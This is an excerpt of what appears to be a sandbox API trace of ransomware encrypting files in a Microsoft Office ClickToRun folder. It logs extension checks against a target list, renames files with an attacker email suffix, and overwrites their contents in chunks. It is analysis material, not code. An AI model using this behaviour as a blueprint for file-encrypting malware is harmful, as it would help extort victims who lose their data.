	[0078.654] CloseHandle (hObject=0x390) returned 1
	[0078.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0078.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.655] lstrlenW (lpString=".doc") returned 4
	[0078.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString=".docx") returned 5
	[0078.655] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0078.655] lstrlenW (lpString=".pdf") returned 4
	[0078.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString=".xls") returned 4
	[0078.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString=".xlsx") returned 5
	[0078.655] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0078.655] lstrlenW (lpString=".ppt") returned 4
	[0078.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.655] lstrlenW (lpString=".zip") returned 4
	[0078.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString=".rar") returned 4
	[0078.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.655] lstrlenW (lpString=".bz2") returned 4
	[0078.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.655] lstrlenW (lpString=".7z") returned 3
	[0078.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.655] lstrlenW (lpString=".dbf") returned 4
	[0078.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.655] lstrlenW (lpString=".1cd") returned 4
	[0078.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.656] lstrlenW (lpString=".jpg") returned 4
	[0078.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.656] lstrlenW (lpString=".doc") returned 4
	[0078.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString=".docx") returned 5
	[0078.656] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0078.656] lstrlenW (lpString=".pdf") returned 4
	[0078.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString=".xls") returned 4
	[0078.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString=".xlsx") returned 5
	[0078.656] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0078.656] lstrlenW (lpString=".ppt") returned 4
	[0078.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.656] lstrlenW (lpString=".zip") returned 4
	[0078.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString=".rar") returned 4
	[0078.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.656] lstrlenW (lpString=".bz2") returned 4
	[0078.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.656] lstrlenW (lpString=".7z") returned 3
	[0078.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.656] lstrlenW (lpString=".dbf") returned 4
	[0078.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.657] lstrlenW (lpString=".1cd") returned 4
	[0078.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0078.657] lstrlenW (lpString=".jpg") returned 4
	[0078.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.657] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.657] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0078.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.657] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=656088) returned 1
	[0078.657] CloseHandle (hObject=0x390) returned 1
	[0078.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0078.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString=".doc") returned 4
	[0078.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString=".docx") returned 5
	[0078.658] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0078.658] lstrlenW (lpString=".pdf") returned 4
	[0078.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString=".xls") returned 4
	[0078.658] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString=".xlsx") returned 5
	[0078.658] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0078.658] lstrlenW (lpString=".ppt") returned 4
	[0078.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString=".zip") returned 4
	[0078.658] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString=".rar") returned 4
	[0078.658] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.658] lstrlenW (lpString=".bz2") returned 4
	[0078.658] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.658] lstrlenW (lpString=".7z") returned 3
	[0078.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString=".dbf") returned 4
	[0078.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString=".1cd") returned 4
	[0078.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.658] lstrlenW (lpString=".jpg") returned 4
	[0078.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.659] lstrlenW (lpString=".doc") returned 4
	[0078.659] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString=".docx") returned 5
	[0078.659] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0078.659] lstrlenW (lpString=".pdf") returned 4
	[0078.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString=".xls") returned 4
	[0078.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString=".xlsx") returned 5
	[0078.659] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0078.659] lstrlenW (lpString=".ppt") returned 4
	[0078.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.659] lstrlenW (lpString=".zip") returned 4
	[0078.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString=".rar") returned 4
	[0078.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.659] lstrlenW (lpString=".bz2") returned 4
	[0078.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.659] lstrlenW (lpString=".7z") returned 3
	[0078.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.659] lstrlenW (lpString=".dbf") returned 4
	[0078.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.659] lstrlenW (lpString=".1cd") returned 4
	[0078.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0078.660] lstrlenW (lpString=".jpg") returned 4
	[0078.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.660] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0078.660] lstrlenW (lpString="appvcleaner.exe") returned 15
	[0078.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.660] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2054872) returned 1
	[0078.660] CloseHandle (hObject=0x390) returned 1
	[0078.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20
	[0078.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0078.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.661] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0x0) returned 1
	[0078.661] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.661] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cd1058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.708] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.708] ReadFile (in: hFile=0x390, lpBuffer=0x3d11058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d11058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.731] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.731] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0078.731] ReadFile (in: hFile=0x390, lpBuffer=0x3d51058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d51058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0078.748] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.748] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x311fca8, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fca8*=0xc010a, lpOverlapped=0x0) returned 1
	[0078.991] SetEndOfFile (hFile=0x390) returned 1
	[0078.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0078.997] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0078.997] WriteFile (in: hFile=0x390, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0078.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0078.999] WriteFile (in: hFile=0x390, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.001] WriteFile (in: hFile=0x390, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0079.003] CloseHandle (hObject=0x390) returned 1
	[0081.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.015] lstrlenW (lpString=".doc") returned 4
	[0081.015] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.015] lstrlenW (lpString=".docx") returned 5
	[0081.015] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0081.015] lstrlenW (lpString=".pdf") returned 4
	[0081.016] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.016] lstrlenW (lpString=".xls") returned 4
	[0081.016] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.057] lstrlenW (lpString=".xlsx") returned 5
	[0081.057] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0081.057] lstrlenW (lpString=".ppt") returned 4
	[0081.057] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.057] lstrlenW (lpString=".zip") returned 4
	[0081.057] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.057] lstrlenW (lpString=".rar") returned 4
	[0081.057] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.057] lstrlenW (lpString=".bz2") returned 4
	[0081.057] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.057] lstrlenW (lpString=".7z") returned 3
	[0081.057] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.057] lstrlenW (lpString=".dbf") returned 4
	[0081.057] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.057] lstrlenW (lpString=".1cd") returned 4
	[0081.057] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString=".jpg") returned 4
	[0081.058] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString=".doc") returned 4
	[0081.058] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.058] lstrlenW (lpString=".docx") returned 5
	[0081.058] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0081.058] lstrlenW (lpString=".pdf") returned 4
	[0081.058] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString=".xls") returned 4
	[0081.058] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString=".xlsx") returned 5
	[0081.058] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0081.058] lstrlenW (lpString=".ppt") returned 4
	[0081.058] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString=".zip") returned 4
	[0081.058] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString=".rar") returned 4
	[0081.058] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.058] lstrlenW (lpString=".bz2") returned 4
	[0081.058] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.058] lstrlenW (lpString=".7z") returned 3
	[0081.058] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString=".dbf") returned 4
	[0081.058] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.058] lstrlenW (lpString=".1cd") returned 4
	[0081.058] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73
	[0081.059] lstrlenW (lpString=".jpg") returned 4
	[0081.059] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.059] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.059] lstrlenW (lpString="mso20win32client.dll") returned 20
	[0081.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.059] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3144288) returned 1
	[0081.059] CloseHandle (hObject=0x38c) returned 1
	[0081.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20
	[0081.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0081.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.061] lstrlenW (lpString=".doc") returned 4
	[0081.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.061] lstrlenW (lpString=".docx") returned 5
	[0081.061] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0081.061] lstrlenW (lpString=".pdf") returned 4
	[0081.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.061] lstrlenW (lpString=".xls") returned 4
	[0081.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.061] lstrlenW (lpString=".xlsx") returned 5
	[0081.061] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0081.061] lstrlenW (lpString=".ppt") returned 4
	[0081.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString=".zip") returned 4
	[0081.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString=".rar") returned 4
	[0081.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.062] lstrlenW (lpString=".bz2") returned 4
	[0081.062] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.062] lstrlenW (lpString=".7z") returned 3
	[0081.062] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString=".dbf") returned 4
	[0081.062] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString=".1cd") returned 4
	[0081.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0081.062] lstrlenW (lpString=".jpg") returned 4
